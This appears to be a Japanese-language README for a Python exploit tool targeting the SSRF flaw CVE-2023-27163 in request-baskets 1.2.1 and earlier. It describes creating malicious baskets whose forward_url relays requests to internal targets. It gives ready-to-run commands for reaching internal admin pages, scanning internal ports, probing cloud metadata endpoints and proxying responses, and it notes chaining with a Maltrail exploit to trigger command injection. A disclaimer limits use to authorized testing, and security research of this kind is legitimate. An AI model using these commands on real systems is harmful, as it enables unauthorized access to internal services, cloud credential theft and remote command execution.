
CVE-2023-27163におけるrequest-basketsのSSRFエクスプロイト。悪意のあるバスケット転送を介して、内部ポートスキャン、クラウドメタデータ調査、サービス検出を可能にします。
このエクスプロイトは、request-baskets バージョン ≤ 1.2.1 で見つかった Server-Side Request Forgery (SSRF) 脆弱性である CVE-2023-27163 を標的とするために作成しました。この脆弱性は /api/baskets/{name} エンドポイントに存在し、forward_url パラメータにより攻撃者がサーバーに任意の HTTP リクエストを代理発行させることができます。
エクスプロイトは、内部ターゲットを指す forward_url で構成された悪意のある「バスケット」を作成します。そのバスケットのエンドポイントへのリクエストは、サーバーによって指定された URL に転送され、実質的にサーバーを SSRF プロキシとして機能させます。
requests ライブラリ (pip install requests)usage: exploit.py [-h] -t TARGET [-f FORWARD_URL] [--proxy-response]
[--insecure-tls] [--no-expand-path] [--capacity CAPACITY]
[--scan-host SCAN_HOST] [--ports PORTS] [--scan]
[--discover] [--cloud-metadata] [--timeout TIMEOUT]
[--delay DELAY]
# 内部サービスへの基本的なSSRF転送
python3 exploit.py -t http://192.168.1.100:55555 -f http://127.0.0.1:80/admin
# 内部ホストのポートスキャン
python3 exploit.py -t http://192.168.1.100:55555 --scan-host 127.0.0.1 --scan
# クラウドメタデータエンドポイントのプロービング
python3 exploit.py -t http://192.168.1.100:55555 --cloud-metadata
# プロキシモード(転送されたレスポンスボディを返す)
python3 exploit.py -t http://192.168.1.100:55555 -f http://127.0.0.1:80 --proxy-response
# カスタムポート範囲のスキャン
python3 exploit.py -t http://192.168.1.100:55555 --scan-host 10.0.0.2 \
--ports 80,443,3000,5000,8000,8080,9000
このツールは教育目的および許可されたセキュリティテストのために作成しました。明示的な許可なしにシステムに対して使用しないでください。
この SSRF エクスプロイトは、直接公開されていない内部サービスに到達するための最初のエントリポイントとして使用できます。これは Maltrail-v0.53-Exploit と連携するように設計されています。SSRF トンネルにより、localhost 上で動作する Maltrail インスタンスに到達し、それを介してコマンドインジェクションをトリガーできます。